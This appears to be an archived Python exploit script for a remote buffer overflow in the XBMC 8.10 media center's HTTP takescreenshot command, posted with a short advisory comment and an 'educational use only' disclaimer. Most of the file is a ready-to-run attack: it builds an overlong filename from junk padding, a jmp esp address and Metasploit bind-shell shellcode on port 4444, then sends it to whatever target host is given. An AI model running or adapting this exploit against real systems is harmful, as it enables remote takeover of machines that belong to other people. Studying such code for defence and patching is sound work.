121 lines
No EOL
4.7 KiB
Python
Executable file
121 lines
No EOL
4.7 KiB
Python
Executable file
#!/usr/bin/env python
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'''
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Xbmc takescreenshot request remote buffer overflow 8.10 !!!
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Tested:Win xp sp2 eng
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Vendor url:http://xbmc.org/
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Release date:April the 1st 2009
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versions affected:
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Linux windows < tested
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other versions are also possibly affected.
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Restrictions:No restrictions
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This exploit happens when parsing and overly long file name
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to the server using the takescreenshot command.
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there is a description in the poc code.
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When passing this to the http server we can evade url: filtering
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as it is passed to the application as an overly long dir.
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This means we can use any shell code we wish.
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We are able to overwrite the exception handlers also so
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creating a reliable exploit for vista and xps3 shouldn't
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be to hard have a look there are some modules loaded with
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out /safe seh.
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Credits to n00b for finding the buffer overflow and writing
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poc code and exploit.
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----------
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Disclaimer
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----------
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The information in this advisory and any of its
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demonstrations is provided "as is" without any
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warranty of any kind.
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I am not liable for any direct or indirect damages
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caused as a result of using the information or
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demonstrations provided in any part of this advisory.
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Educational use only..!!
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'''
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import sys, socket
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import struct
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port = 80
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host = sys.argv[1]
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Start_url ='xbmcCmds/xbmcHttp?command=takescreenshot('
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Junk_buffer = 'A'*1036
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Jump_esp = struct.pack('<L',0x77F84143)
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Shell_code=(#win32_bind -EXITFUNC=seh LPORT=4444 http://metasploit.com */
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"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
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"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
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"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
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"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
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"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
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"\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x58"
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"\x4e\x36\x46\x32\x46\x32\x4b\x48\x45\x34\x4e\x53\x4b\x58\x4e\x37"
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"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x51\x4b\x58"
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"\x4f\x45\x42\x52\x41\x30\x4b\x4e\x49\x44\x4b\x48\x46\x33\x4b\x58"
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"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c"
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"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
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"\x46\x4f\x4b\x33\x46\x35\x46\x32\x4a\x32\x45\x47\x45\x4e\x4b\x48"
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"\x4f\x55\x46\x52\x41\x30\x4b\x4e\x48\x46\x4b\x58\x4e\x50\x4b\x54"
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"\x4b\x48\x4f\x35\x4e\x31\x41\x50\x4b\x4e\x43\x50\x4e\x32\x4b\x38"
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"\x49\x48\x4e\x36\x46\x32\x4e\x31\x41\x36\x43\x4c\x41\x53\x4b\x4d"
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"\x46\x46\x4b\x48\x43\x44\x42\x53\x4b\x38\x42\x34\x4e\x30\x4b\x38"
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"\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x34\x4a\x50\x50\x45\x4a\x36"
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"\x50\x58\x50\x34\x50\x30\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x36"
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"\x43\x35\x48\x36\x4a\x46\x43\x33\x44\x53\x4a\x46\x47\x37\x43\x37"
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"\x44\x53\x4f\x45\x46\x55\x4f\x4f\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e"
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"\x4e\x4f\x4b\x33\x42\x35\x4f\x4f\x48\x4d\x4f\x55\x49\x38\x45\x4e"
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"\x48\x56\x41\x48\x4d\x4e\x4a\x30\x44\x30\x45\x45\x4c\x36\x44\x50"
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"\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x35"
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"\x4f\x4f\x48\x4d\x43\x35\x43\x55\x43\x55\x43\x55\x43\x55\x43\x34"
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"\x43\x35\x43\x34\x43\x45\x4f\x4f\x42\x4d\x48\x56\x4a\x46\x41\x51"
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"\x4e\x45\x48\x36\x43\x35\x49\x58\x41\x4e\x45\x59\x4a\x46\x46\x4a"
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"\x4c\x51\x42\x47\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x46\x42\x41"
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"\x41\x55\x45\x55\x4f\x4f\x42\x4d\x4a\x56\x46\x4a\x4d\x4a\x50\x52"
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"\x49\x4e\x47\x55\x4f\x4f\x48\x4d\x43\x45\x45\x45\x4f\x4f\x42\x4d"
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"\x4a\x46\x45\x4e\x49\x44\x48\x58\x49\x44\x47\x55\x4f\x4f\x48\x4d"
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"\x42\x35\x46\x45\x46\x35\x45\x55\x4f\x4f\x42\x4d\x43\x39\x4a\x46"
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"\x47\x4e\x49\x57\x48\x4c\x49\x47\x47\x55\x4f\x4f\x48\x4d\x45\x45"
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"\x4f\x4f\x42\x4d\x48\x46\x4c\x46\x46\x56\x48\x56\x4a\x36\x43\x46"
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"\x4d\x56\x49\x48\x45\x4e\x4c\x46\x42\x35\x49\x35\x49\x32\x4e\x4c"
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"\x49\x48\x47\x4e\x4c\x56\x46\x54\x49\x48\x44\x4e\x41\x53\x42\x4c"
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"\x43\x4f\x4c\x4a\x50\x4f\x44\x34\x4d\x32\x50\x4f\x44\x34\x4e\x52"
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"\x43\x59\x4d\x48\x4c\x47\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36"
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"\x44\x37\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x57\x46\x54\x4f\x4f"
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"\x48\x4d\x4b\x35\x47\x45\x44\x45\x41\x55\x41\x35\x41\x45\x4c\x36"
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"\x41\x30\x41\x55\x41\x35\x45\x45\x41\x35\x4f\x4f\x42\x4d\x4a\x56"
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"\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x35\x4f\x4f\x48\x4d\x4c\x36"
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"\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f\x42\x4d\x4b\x48\x47\x55\x4e\x4f"
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"\x43\x48\x46\x4c\x46\x46\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d"
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"\x4a\x36\x42\x4f\x4c\x48\x46\x30\x4f\x45\x43\x35\x4f\x4f\x48\x4d"
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"\x4f\x4f\x42\x4d\x5a"
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)
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End_url ='.jpg;false;0;300;200;90)'
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# create a socket object called 'c'
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c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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# connect to the socket
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c.connect((host, port))
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Request = (Start_url + Junk_buffer + Jump_esp + Shell_code + End_url)
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# create a file-like object to read
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fileobj = c.makefile('r', 0)
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# Ask the server for the file
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fileobj.write("GET /"+Request+" HTTP/1.1\n\n")
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# milw0rm.com [2009-04-01] |